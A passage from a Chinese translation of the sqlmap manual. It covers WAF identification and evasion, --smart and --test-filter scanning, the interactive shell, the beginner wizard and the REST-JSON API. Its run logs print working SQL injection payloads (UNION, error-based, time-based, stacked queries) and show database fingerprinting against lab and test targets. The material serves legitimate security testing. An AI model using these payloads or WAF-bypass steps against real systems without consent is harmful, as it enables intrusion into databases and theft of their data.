HTTP 参数污染(HPP)是一种绕过 WAF/IPS/IDS 保护机制(这里有相关介绍)的方法,针对 ASP/IIS 和 ASP.NET/IIS 平台尤其有效。如果你怀疑目标使用了这种保护机制,可以尝试使用此开关以绕过它。
开关:--identify-waf
sqlmap 可以尝试识别后端 WAF/IPS/IDS 保护(如果有),以便用户可以执行适当的步骤(例如:通过选项 --tamper
使用篡改脚本)。目前,大约支持 30 种不同的产品(例如:Airlock,Barracuda WAF 等),可以在 waf
目录下找到它们对应的 WAF 脚本。
针对受 ModSecurity WAF 保护的 MySQL 目标示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\ dentify-waf -v 3 [...] [xx:xx:23] [INFO] testing connection to the target URL [xx:xx:23] [INFO] heuristics detected web page charset 'ascii' [xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un ited Security Providers)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F irewall (BinarySEC)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio n Firewall (NetContinuum/Barracuda Networks)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc o Systems)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks) ' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi rewall Enterprise (Teros/Citrix Systems)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak amai Technologies)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F irewall (Incapsula/Imperva)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F irewall (Barracuda Networks)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S ecurity (IBM)' [xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1' [xx:xx:23] [DEBUG] page not found (404) [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir ewall (Jiasule)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew all (AQTRONIX)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)' [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We b Application Firewall (Trustwave)' [xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '- -tamper') [...]
开关:--skip-waf
默认情况下,sqlmap 自动在一个启动请求中发送一个虚假的参数值,其中包含一个有意“可疑”的 SQL 注入 payload(例如:...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
)。如果目标响应与原始请求响应不同,那么它很可能存在保护机制。如果有任何问题,用户可以使用开关 --skip-waf
来禁用此机制。
开关:--mobile
有时 Web 服务器向手机提供的是不同于电脑的接口。在这种情况下,你可以强制使用预定义好的智能手机 HTTP User-Agent 头部值。使用此开关,sqlmap 将询问你选择一种流行的智能手机,它将在当前运行中进行伪装。
运行示例:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile [...] which smartphone do you want sqlmap to imitate through HTTP User-Agent header? [1] Apple iPhone 4s (default) [2] BlackBerry 9900 [3] Google Nexus 7 [4] HP iPAQ 6365 [5] HTC Sensation [6] Nokia N97 [7] Samsung Galaxy S > 1 [...]
开关:--offline
使用开关 --offline
,sqlmap 在数据枚举中将仅使用上一个会话的数据。这基本上意味着在这样的运行过程中是零连接尝试的。
开关:--purge-output
如果用户决定安全删除 output
目录中所有的内容,包括之前 sqlmap 运行过的所有目标详细信息,可以使用开关 --purge-output
。在清除时,output
目录中的(子)目录中的所有文件将被随机数据覆盖、截断和被重命名为随机名,(子)目录也将被重命名为随机名,最后整个目录树将被删除。
运行示例:
$ python sqlmap.py --purge-output -v 3 [...] [xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... [xx:xx:55] [DEBUG] changing file attributes [xx:xx:55] [DEBUG] writing random data to files [xx:xx:55] [DEBUG] truncating files [xx:xx:55] [DEBUG] renaming filenames to random values [xx:xx:55] [DEBUG] renaming directory names to random values [xx:xx:55] [DEBUG] deleting the whole directory tree [...]
开关:--smart
某些情况下,用户拥有大量潜在目标 URL(例如:使用选项 -m
)列表,同时他想要尽快找到易受攻击的目标。如果使用了开关 --smart
,则只有能引发 DBMS 错误的参数会在进一步的扫描中被使用。否则会被跳过。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\ r=foo&id=1" --batch --smart [...] [xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic [xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable [xx:xx:14] [INFO] skipping GET parameter 'ca' [xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic [xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh t not be injectable [xx:xx:14] [INFO] skipping GET parameter 'user' [xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic [xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic [xx:xx:14] [INFO] GET parameter 'id' is dynamic [xx:xx:14] [WARNING] reflective value(s) found and filtering out [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for 'MySQL' extending provided level (1) and ri sk (1)? [Y/n] Y [xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI NG clause' injectable [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause ' [xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [xx:xx:14] [INFO] testing 'MySQL inline queries' [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' [xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in jectable [xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn ique tests as there is at least one other potential injection technique found [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t he range for current UNION query injection technique test [xx:xx:24] [INFO] target URL appears to have 3 columns in query [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu mns' injectable [...]
选项:--test-filter
如果你想根据 payloads 和/或标题过滤测试,可以使用此选项。例如,要测试所有包含 ROW
关键字的 payloads,可以使用 --test-filter=ROW
。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\ atch --test-filter=ROW [...] [xx:xx:39] [INFO] GET parameter 'id' is dynamic [xx:xx:39] [WARNING] reflective value(s) found and filtering out [xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id' [xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause ' [xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any )? [y/N] N sqlmap identified the following injection points with a total of 3 HTTP(s) reque sts: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC T (C ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO M (S ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x) --- [...]
选项:--test-skip=TEST
如果你想根据 payloads 和/或标题跳过测试,可以使用此选项。例如,想要跳过包含 BENCHMARK
关键字的 payloads,可以使用 --test-skip=BENCHMARK
。
开关:--sqlmap-shell
使用开关 --sqlmap-shell
,用户可以看到交互式的 sqlmap shell,它具有所有以前运行的历史记录,包括使用过的选项和/或开关:
$ python sqlmap.py --sqlmap-shell sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\ BEU --batch _ ___ ___| |_____ ___ ___ {1.0-dev-2188502} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at xx:xx:11 [xx:xx:11] [INFO] testing connection to the target URL [xx:xx:12] [INFO] testing if the target URL is stable [xx:xx:13] [INFO] target URL is stable [xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic [xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic [xx:xx:13] [INFO] GET parameter 'artist' is dynamic [xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL') [xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp ecific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause' [xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause (EXTRACTVALUE)' [xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause (UPDATEXML)' [xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause (EXP)' [xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E XP)' [xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause (BIGINT UNSIGNED)' [xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B IGINT UNSIGNED)' [xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B Y or GROUP BY clause' [xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause' [xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause' [xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT VALUE)' [xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT VALUE)' [xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX ML)' [xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn ique tests as there is at least one other (potential) technique found [xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending t he range for current UNION query injection technique test [xx:xx:15] [INFO] target URL appears to have 3 columns in query [xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2 0 columns' injectable GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re quests: --- Parameter: artist (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: artist=1 AND 5707=5707 Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), NULL,NULL-- - --- [xx:xx:16] [INFO] testing MySQL [xx:xx:16] [INFO] confirming MySQL [xx:xx:16] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.3.10 back-end DBMS: MySQL >= 5.0.0 [xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma p/output/testphp.vulnweb.com' sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner _ ___ ___| |_____ ___ ___ {1.0-dev-2188502} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at xx:xx:25 [xx:xx:26] [INFO] resuming back-end DBMS 'mysql' [xx:xx:26] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: artist (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: artist=1 AND 5707=5707 Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764 26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71), NULL,NULL-- - --- [xx:xx:26] [INFO] the back-end DBMS is MySQL [xx:xx:26] [INFO] fetching banner web application technology: Nginx, PHP 5.3.10 back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL 5 banner: '5.1.73-0ubuntu0.10.04.1' [xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma p/output/testphp.vulnweb.com' sqlmap-shell> exit
开关:--wizard
sqlmap 为初学者提供了一个向导界面,它使用包含尽可能少的问题的简单工作流。如果用户输入目标 URL 并使用了默认设置(例如:按 Enter
),则应该在工作流结束时正确设置 sqlmap 运行环境。
针对 Microsoft SQL Server 目标的示例:
$ python sqlmap.py --wizard sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at xx:xx:26 Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in t.asp?id=1 POST data (--data) [Enter for None]: Injection difficulty (--level/--risk). Please choose: [1] Normal (default) [2] Medium [3] Hard > 1 Enumeration (--banner/--current-user/etc). Please choose: [1] Basic (default) [2] Smart [3] All > 1 sqlmap is running, please wait.. heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for 'Microsoft SQL Server' extending provided l evel (1) and risk (1)? [Y/n] Y GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any )? [y/N] N sqlmap identified the following injection points with a total of 25 HTTP(s) requ ests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 2986=2986 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58 )+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58))) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1 00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+ CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: id=1; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: id=1 WAITFOR DELAY '0:0:5'-- Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR (109)+CHAR(113)+CHAR(58)) --- web server operating system: Windows XP web application technology: ASP, Microsoft IIS 5.1 back-end DBMS operating system: Windows XP Service Pack 2 back-end DBMS: Microsoft SQL Server 2005 banner: --- Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) --- current user: 'sa' current database: 'testdb' current user is DBA: True [*] shutting down at xx:xx:52
sqlmap 可以通过 REST-JSON API 运行,即使用 JSON 格式的 REST(REpresentational State Transfer 的缩写)风格的 API 来进行服务器和客户端实例之间的通信。直白地讲,服务器使用 sqlmap 进行扫描,而客户端设置 sqlmap 选项/开关并将结果拉取回来。用于运行 API 的主程序文件是 sqlmapapi.py
,而客户端可以在任意用户程序中进行实现。
$ python sqlmapapi.py -hh Usage: sqlmapapi.py [options] Options: -h, --help show this help message and exit -s, --server Act as a REST-JSON API server -c, --client Act as a REST-JSON API client -H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1") -p PORT, --port=PORT Port of the the REST-JSON API server (default 8775) --adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref")
通过使用开关 -s
运行 sqlmapapi.py
启用服务器,使用开关 -c
启用客户端,在这两种情况下,用户可以(可选)使用选项 -H
(默认为 "127.0.0.1"
)和选项 -p
(默认为 8775
)设置监听的 IP 地址和端口。每个客户端的“会话”可以有多个“任务”(例如:运行 sqlmap 扫描),用户可以任意选择某个任务处于当前活动状态。
客户端命令行界面可用的命令有:
help
——显示可用命令列表以及基本的帮助信息new ARGS
——使用提供的参数开始一次新的扫描任务(例如:new -u "http://testphp.vulnweb.com/artists.php?artist=1"
)use TASKID
——切换当前上下文到不同任务(例如:use c04d8c5c7582efb4
)data
——获取并显示当前任务的数据log
- 获取并显示当前任务日志status
——获取并显示当前任务状态stop
——停止当前任务kill
——杀死当前任务list
——显示所有任务(当前会话)flush
——清空所有任务(例如:deletes)exit
——退出客户端界面运行服务器的示例:
$ python sqlmapapi.py -s -H "0.0.0.0" [12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'.. [12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881 [12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd [12:47:51] [DEBUG] REST-JSON API server connected to IPC database [12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle [12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0' [12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan [12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status [12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status [12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages [12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages
运行客户端的示例:
$ python sqlmapapi.py -c -H "192.168.110.1" [12:47:53] [DEBUG] Example client access from command line: $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9 ]\{16\}') && echo $taskid $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st art $ curl http://192.168.110.1:8775/scan/$taskid/data $ curl http://192.168.110.1:8775/scan/$taskid/log [12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'.. . [12:47:53] [DEBUG] Calling http://192.168.110.1:8775 [12:47:53] [INFO] Type 'help' or '?' for list of available commands api> ? help Show this help message new ARGS Start a new scan task with provided arguments (e.g. 'new -u "http:// testphp.vulnweb.com/artists.php?artist=1"') use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4 ') data Retrieve and show data for current task log Retrieve and show log for current task status Retrieve and show status for current task stop Stop current task kill Kill current task list Display all tasks flush Flush tasks (delete all tasks) exit Exit this client api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s ession [12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new [12:48:10] [INFO] New task ID is 'a42ddaef02e976f0' [12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start [12:48:10] [INFO] Scanning started api (a42ddaef02e976f0)> status [12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu s { "status": "running", "returncode": null, "success": true } api (a42ddaef02e976f0)> status [12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu s { "status": "terminated", "returncode": 0, "success": true } api (a42ddaef02e976f0)> log [12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log { "log": [ { "message": "flushing session file", "level": "INFO", "time": "12:48:10" }, { "message": "testing connection to the target URL", "level": "INFO", "time": "12:48:10" }, { "message": "checking if the target is protected by some kind of WAF/ IPS/IDS", "level": "INFO", "time": "12:48:10" }, { "message": "testing if the target URL is stable", "level": "INFO", "time": "12:48:10" }, { "message": "target URL is stable", "level": "INFO", "time": "12:48:11" }, { "message": "testing if GET parameter 'artist' is dynamic", "level": "INFO", "time": "12:48:11" }, { "message": "confirming that GET parameter 'artist' is dynamic", "level": "INFO", "time": "12:48:11" }, { "message": "GET parameter 'artist' is dynamic", "level": "INFO", "time": "12:48:11" }, { "message": "heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')", "level": "INFO", "time": "12:48:11" }, { "message": "testing for SQL injection on GET parameter 'artist'", "level": "INFO", "time": "12:48:11" }, { "message": "testing 'AND boolean-based blind - WHERE or HAVING claus e'", "level": "INFO", "time": "12:48:11" }, { "message": "GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla use (BIGINT UNSIGNED)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O RDER BY or GROUP BY clause (EXP)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla use (EXP)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c lause (JSON_KEYS)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O RDER BY or GROUP BY clause (FLOOR)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR DER BY or GROUP BY clause (FLOOR)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O RDER BY or GROUP BY clause (EXTRACTVALUE)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR DER BY or GROUP BY clause (EXTRACTVALUE)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O RDER BY or GROUP BY clause (UPDATEXML)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR DER BY or GROUP BY clause (UPDATEXML)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O RDER BY or GROUP BY clause (FLOOR)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla use (FLOOR)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL OR error-based - WHERE or HAVING clause ( FLOOR)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E XTRACTVALUE)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B IGINT UNSIGNED)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E XP)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'", "level": "INFO", "time": "12:48:12" }, { "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F LOOR)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U PDATEXML)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E XTRACTVALUE)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL inline queries'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL > 5.0.11 stacked queries'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c omment)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c omment)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'", "level": "INFO", "time": "12:48:13" }, { "message": "testing 'MySQL >= 5.0.12 AND time-based blind'", "level": "INFO", "time": "12:48:13" }, { "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN D time-based blind' injectable ", "level": "INFO", "time": "12:48:23" }, { "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", "level": "INFO", "time": "12:48:23" }, { "message": "automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found", "level": "INFO", "time": "12:48:23" }, { "message": "'ORDER BY' technique appears to be usable. This should r educe the time needed to find the right number of query columns. Automatically e xtending the range for current UNION query injection technique test", "level": "INFO", "time": "12:48:23" }, { "message": "target URL appears to have 3 columns in query", "level": "INFO", "time": "12:48:23" }, { "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable", "level": "INFO", "time": "12:48:24" }, { "message": "the back-end DBMS is MySQL", "level": "INFO", "time": "12:48:24" }, { "message": "fetching banner", "level": "INFO", "time": "12:48:24" } ], "success": true } api (a42ddaef02e976f0)> data [12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data { "data": [ { "status": 1, "type": 0, "value": [ { "dbms": "MySQL", "suffix": "", "clause": [ 1, 9 ], "notes": [], "ptype": 1, "dbms_version": [ ">= 5.0.12" ], "prefix": "", "place": "GET", "os": null, "conf": { "code": null, "string": "hac", "notString": null, "titles": false, "regexp": null, "textOnly": false, "optimize": false }, "parameter": "artist", "data": { "1": { "comment": "", 